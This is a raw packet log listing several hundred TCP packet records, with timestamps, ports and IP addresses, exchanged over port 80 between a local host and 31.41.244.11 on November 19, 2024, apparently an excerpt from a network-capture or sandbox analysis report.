Nov 19, 2024 22:07:09.152009964 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152035952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152043104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152055025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152062893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152107954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152153969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152206898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152214050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152266979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152271032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152323008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152328014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152334929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152373075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152447939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152493954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152532101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152542114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152568102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152580023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152610064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152650118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152693987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.152748108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.152796984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153012991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153103113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153152943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153188944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153301954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153311968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153356075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153357029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153498888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153527975 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153534889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153549910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153577089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153645039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153697968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153711081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153757095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153805971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153853893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.153882980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.153944969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154139996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154150009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154202938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154212952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154215097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154258013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154258013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154270887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154282093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154300928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154305935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154314041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154324055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154345989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154393911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154395103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154423952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154457092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154459953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154493093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154517889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154530048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154544115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154561043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154575109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154583931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154597044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154601097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154643059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154650927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154650927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154663086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154691935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154714108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154719114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154747009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154751062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154777050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154778957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154787064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154807091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154829979 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.154834032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154948950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154968977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.154989004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155014038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155025959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155052900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155056000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155082941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155096054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155106068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155106068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155155897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155181885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155194998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155224085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155236959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155252934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155289888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155723095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155740023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155750990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155761957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155787945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155790091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155814886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155816078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155834913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155878067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155903101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155920029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.155966997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.155983925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156011105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156050920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156060934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156065941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156096935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156104088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156136036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156147957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156183004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156183958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156197071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156223059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156239986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156248093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156276941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156294107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156310081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156342030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156344891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156359911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156379938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156388044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156414986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156423092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156423092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156455040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156471968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156519890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156548023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156563044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156574011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156589031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156593084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156600952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156610966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156615973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156647921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156655073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156667948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156667948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156707048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156708002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156718969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156744003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156747103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156758070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156764984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156789064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156802893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156802893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156841993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156845093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156857967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156864882 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156893969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156903982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156909943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156917095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156971931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156974077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.156981945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.156999111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157011032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157026052 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157027960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157047033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157078028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157104969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157120943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157130003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157159090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157171965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157180071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157188892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157201052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157212973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157237053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157242060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157254934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157258034 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157273054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157299995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157305956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157324076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157340050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157350063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157365084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157387972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157413006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157428980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157439947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157479048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157485962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157515049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157516003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157555103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157567024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157567024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157607079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157617092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157624960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157644987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157656908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157668114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157696962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157707930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157712936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157756090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157773972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157787085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157804966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157815933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.157834053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157865047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.157943010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158005953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158034086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158057928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158061028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158091068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158091068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158093929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158112049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158149958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158159018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158170938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158175945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158205986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158255100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158308983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158320904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158337116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158340931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158374071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158384085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158392906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158430099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158446074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158461094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158469915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158480883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158494949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158523083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158533096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158544064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158562899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158588886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158612967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158621073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158632994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158684015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158693075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158693075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158703089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158714056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158756971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158826113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158838987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158869982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158885956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158915043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158927917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158931017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.158951998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.158978939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159008026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159018040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159034014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159044027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159060955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159075022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159075975 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159095049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159106970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159118891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159130096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159164906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159173965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159208059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159255028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159270048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159329891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159359932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159387112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159408092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159440994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159517050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159535885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159569979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159571886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159603119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159631968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159642935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159656048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159665108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159696102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159709930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159723997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159739971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159753084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159776926 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159785986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159797907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159816980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159828901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159852028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159883976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159892082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159903049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159918070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159929991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.159954071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159984112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.159991980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160017014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160043001 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160067081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160082102 CET	49864	80	192.168.2.4	31.41.244.11
